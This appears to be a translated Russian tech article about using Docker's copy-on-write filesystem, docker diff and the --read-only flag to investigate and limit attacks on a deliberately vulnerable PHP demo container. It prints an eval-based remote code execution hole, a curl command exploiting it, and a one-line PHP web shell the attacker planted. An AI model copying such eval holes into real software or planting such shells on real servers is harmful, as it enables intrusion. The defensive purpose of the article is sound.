![](https://habrastorage.org/files/c57/ca4/30f/c57ca430f83c4ee78b04104f61a65a51.png)
Контейнеры Docker хороши тем, что они немутабельны (immutable). Docker поставляется с файловой системой типа copy-on-write, поэтому базовый образ может быть изменен только в том случае, если вы сами создали соответствующий коммит.
Эта особенность может пригодиться, например, при расследовании хакерских атак. Давая возможность легко проверить расхождение файловой системы контейнера с базовым образом, она позволит увидеть сделанные атакующей стороной изменения.
Демонстрационное приложение
Возьмем в качестве примера инфраструктуру следующего вида:
![](https://habrastorage.org/files/5fd/c07/727/5fdc077272ac4a99bb7c58c12a94c957.png)
У нас есть PHP-приложение, запущенное на сервере с говорящим названием Front-end, и база данных MySQL на отдельной машине. (Редакция не несет ответственности за сторонние репозитории и напоминает, что установка ПО из непроверенных источников может привести к нежелательным последствиям. — Прим. ред.) Чтобы воспроизвести наш пример в домашних условиях, выполните:
➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack
Теперь, когда в вашем распоряжении есть работающие база данных и клиентская часть, вы должны увидеть примерно такое приветствие:
![](https://habrastorage.org/files/09b/d26/ba6/09bd26ba62754bc9ae05096b88476210.png)
К сожалению, как и в каждом втором PHP-приложении в реальном мире, в нашем тестовом примере есть дыра, позволяющая взломщику удаленно выполнить произвольный код:
if($links) {
<h3>Links found</h3>
...
eval($_GET['shell']);
?>
Похоже, кто-то использует eval
в неположенном месте! Поэтому потенциальный злоумышленник может воспользоваться нашей беспечностью и выполнить на уязвимом сервере произвольный код:
➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data)
На только что взломанной машине хакер обычно старается устроиться поудобнее: скачивает командную оболочку PHP и различные наборы инструментов. Некоторые взломщики также склонны к замене внешнего вида и содержимого вашего сайта:
![](https://habrastorage.org/files/f01/492/7de/f014927de77640c49b7fe3f4ea03ae65.png)
Восстанавливаемся после атаки
Одной из замечательных вещей, предоставляемых файловой системой copy-on-write, является возможность увидеть произошедшие в контейнере изменения. Команда docker diff
покажет, что взломщик делал с нашими файлами:
➜ docker diff pensive_meitner
C /run
C /run/apache2
A /run/apache2/apache2.pid
C /run/lock
C /run/lock/apache2
C /var
C /var/www
C /var/www/html
C /var/www/html/index.html
A /var/www/html/shell.php
Очень интересно! Оказывается, злоумышленник не только изменил наш index.html
, но и загрузил командную оболочку PHP, заботливо названную shell.php
. Но первым делом надо восстановить работу сайта.
Для дальнейших разбирательств образ взломанной системы может быть сохранен командой docker commit
. А поскольку контейнеры немутабельны, мы легким движением руки перезагружаем diogomonica/phphack и возвращаемся к нормальной работе:
➜ docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3
➜ docker kill pensive_meitner
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack
![](https://habrastorage.org/files/543/949/be2/543949be234a46a389bd8c16d30b2b3d.png)
Теперь давайте возьмем сохраненный образ и посмотрим, какие изменения внес взломщик:
➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>
# cat shell.php
<?php
eval($_GET['cmd']);
?>
Кажется, нас только что взломали ребята из SUPER ELITE GROUP OF HACKERS.
Увеличиваем стоимость атаки
Безусловно, полезно иметь возможность увидеть изменения в контейнере после атаки, но как избежать самого нападения?
Для этого есть опция --read-only
, которая предписывает Docker запретить изменения файловой системы контейнера. Ее установка могла бы предотвратить модификацию index.html
, но гораздо важнее, что злоумышленнику не удалось бы загрузить командную оболочку или любой другой нужный ему инструмент.
Давайте посмотрим, как это работает:
➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"
sh: 1: cannot create index.html: Read-only file system
Поскольку наша файловая система теперь доступна только для чтения, попытки взломщика изменить index.html
провалились.
Дает ли это стопроцентную гарантию?
Ни в коем случае. До тех пор, пока мы не исправим имеющуюся RCE-уязвимость, хакеры по-прежнему смогут свободно выполнять произвольный код на нашей машине и, например, украсть идентификационную информацию или стащить данные из базы.
Тем не менее существует реальная возможность значительно усложнить жизнь хакерам, пытающимся взломать наши системы. Для этого нужно использовать средства безопасности Docker и минимальные образы для контейнеров.
Заключение
Безопасность наших приложений никогда не будет стопроцентной. Но использование Immutable infrastructure может значительно усложнить хакерам работу, а если взлом все-таки произойдет, сделать процедуру восстановления намного проще.
Так что ради безопасности и стабильности вполне можно подкрутить несколько ручек и укрепить оборону наших контейнеров!